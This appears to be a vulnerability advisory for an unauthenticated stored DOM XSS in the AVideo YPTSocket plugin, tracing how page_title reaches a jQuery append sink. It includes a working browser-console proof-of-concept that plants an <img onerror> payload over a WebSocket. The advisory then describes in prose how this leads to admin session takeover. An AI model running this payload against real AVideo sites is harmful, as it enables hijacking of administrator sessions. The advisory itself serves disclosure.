Unauthenticated Stored DOM XSS via page_title Broadcast in AVideo YPTSocket Plugin

Summary

A stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin lets any unauthenticated remote attacker execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers.

Details

plugin/YPTSocket/getWebSocket.json.php issues a WebSocket token to any caller; the only gate is AVideoPlugin::isEnabledByName("YPTSocket"). The token-issuance helper getEncryptedInfo() at plugin/YPTSocket/functions.php:21-24 writes $_REQUEST['webSocketSelfURI'] directly into the per-token state without validation:

// plugin/YPTSocket/functions.php:21-24
if (!empty($_REQUEST['webSocketSelfURI'])) {
    $msgObj->selfURI = $_REQUEST['webSocketSelfURI'];
} else {
    $msgObj->selfURI = getSelfURI();
}

On WebSocket open, MessageSQLiteV2::onOpen reads webSocketSelfURI and page_title from the connection URL query string and persists both verbatim into the in-memory SQLite connections table:

// plugin/YPTSocket/MessageSQLiteV2.php:91 and :110
$client['selfURI']    = $wsocketGetVars['webSocketSelfURI'];        // line 91
$client['page_title'] = @utf8_encode(@$wsocketGetVars['page_title']); // line 110

utf8_encode is not an HTML encode. The broadcast helper dbGetUniqueUsers() (plugin/YPTSocket/db.php:288-300) selects both columns without escape and returns them as part of users_id_online, which msgToResourceId() at MessageSQLiteV2.php:444 places in the outbound JSON frame sent to every connected client. JSON encoding escapes " to \" for transport, but the receiving browser's JSON.parse(event.data) reverses the escape and restores the raw HTML bytes before they reach script.js.

On the client, plugin/YPTSocket/script.js::updateSocketUserCard (lines 638 to 700) interpolates the broadcast page_title into an HTML template literal and passes the result to jQuery $.append(html):

// plugin/YPTSocket/script.js:685-691
if (userData.page_title) textParts.push(userData.page_title);
const finalText = textParts.join(' ');
const html = `<a href="${selfURI}" target="_blank" ...>
                <i class="far fa-compass"></i> ${finalText}
              </a>`;
$(`#${socketUserDivID} .socketUserPages`).append(html);  // sink

jQuery's .append(html) parses the string with the browser HTML parser, building live DOM nodes for any tag the attacker supplied, including <img> with inline event handlers. The browser's load attempt on the attacker-supplied src fails and the inline onerror event handler fires synchronously inside the admin's authenticated origin.

The victim precondition is that the YPTSocket online-users debug panel (#socketUsersURI) is rendered in the admin's DOM. plugin/YPTSocket/footer.php:12 renders the panel when User::isAdmin() && !empty($obj->debugSocket). The debugSocket plugin flag is true by default after enable, so any admin viewing any logged-in AVideo page with the standard YPTSocket footer holds a live broadcast subscription.

Affected product: AVideo (WWBN), YPTSocket plugin Tested version: master branch (snapshot dated 2026-05-22)

PoC

The AVideo deployment must have the YPTSocket plugin enabled (the default after enable) with debugSocket=true (the default), and at least one administrator must currently be viewing a page that loads the YPTSocket footer (any logged-in AVideo page does). The attacker requires only network reachability to getWebSocket.json.php over HTTPS and to the WebSocket TLS port.

Open DevTools Console on any browser tab pointed at the AVideo origin and paste the following one-liner. No authentication and no session cookie are required for the attacker side:

(async () => {
  const PAYLOAD = '<img src=q onerror="document.body.style.backgroundColor=String.fromCharCode(114,101,100);document.title=String.fromCharCode(80,87,78,69,68)">';
  const r = await fetch('/plugin/YPTSocket/getWebSocket.json.php?webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1'));
  const j = await r.json();
  const u = j.webSocketURL
          + '&webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1')
          + '&page_title='       + encodeURIComponent(PAYLOAD);
  const ws = new WebSocket(u);
  ws.onopen    = () => console.log('attacker connected');
  ws.onmessage = e => console.log('attacker frame:', e.data.slice(0, 200));
})();

The payload uses String.fromCharCode to spell its side-effect strings (String.fromCharCode(114,101,100) decodes to red; String.fromCharCode(80,87,78,69,68) decodes to PWNED) so no quote, backtick, or backslash bytes appear in transit. Within one server broadcast cycle, every administrator tab currently rendering the YPTSocket debug panel turns its page background red and changes its browser tab title to PWNED. Both side-effects are produced by attacker JavaScript executing inside the admin's authenticated AVideo origin.

Impact

This is a stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin. An unauthenticated remote attacker who can reach the YPTSocket endpoints plants the payload by issuing one anonymous HTTP GET to getWebSocket.json.php followed by one anonymous WebSocket frame carrying the malicious page_title. The attacker JavaScript executes inside the admin's authenticated AVideo origin and can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session.